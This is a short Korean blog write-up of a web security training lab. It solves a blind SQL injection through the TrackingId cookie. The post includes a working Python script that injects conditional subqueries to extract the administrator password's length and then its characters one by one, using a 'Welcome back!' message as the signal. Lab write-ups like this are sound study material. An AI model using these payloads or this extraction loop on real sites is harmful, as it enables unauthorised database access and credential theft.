728x90
이번 문제는 평소에 하던 blind sql injection인 줄 알고 쉽게 접근했다가 푸는데 오랜 시간이 걸렸던 문제다.
문제 좀 자세히 읽어볼걸...
우선 문제를 요약하자면 tracking 쿠키값을 이용해 웹은 이 사용자가 알려진 사용자인지 확인을 하는데 확인될 경우 Welcome back!이라는 문구를 페이지에 띄운다.
이를 통해 blind sql injection을 시도하는데 쿠키를 기반으로 sql injection을 시도한 건 처음이라 신선했다.
우선 쿠키값들을 확인해주고 우리가 필요한 Trackingid 쿠키를 사용해 공격을 시도할 것이다.
import requests
url="https://0a1400c204cf197d82b888a400810061.web-security-academy.net/"
cookies={"TrackingId":"uD0teoefzISYkMq4",
"session":"DxwCZZf4j61f9dcWug9A25ilGehgvIvx"}
string="0123456789abcdefghijklmnopqrstuvwxyz"
pw=""
for i in range(0,100): #길이구하기
cookies={"TrackingId":f"uD0teoefzISYkMq4' and (select username from users where username='administrator' and length(password) = {i})='administrator'-- ",
"session":"DxwCZZf4j61f9dcWug9A25ilGehgvIvx"}
res=requests.get(url,cookies=cookies)
if "Welcome back!" in res.text:
length=i
print("length:",i)
break
for i in range(1,length+1): #pw구하기
for j in string:
cookies={"TrackingId":f"uD0teoefzISYkMq4' and (select username from users where username='administrator' and substr(password,{i},1)='{j}')='administrator'-- ",
"session":"DxwCZZf4j61f9dcWug9A25ilGehgvIvx"}
res=requests.get(url,cookies=cookies)
if "Welcome back!" in res.text:
pw+=j
print("pw:",pw)
break
print("password:",pw)
서브쿼리를 사용해 코드를 짜봤다.
우선 username은 알고 있으니 서브쿼리가 실행될 때 나오는 username을 기준으로 select문을 작성했고 서브쿼리가 참 일 때 Welcome back! 문자가 출력되므로 password의 길이와 값을 찾을 수 있었다.
728x90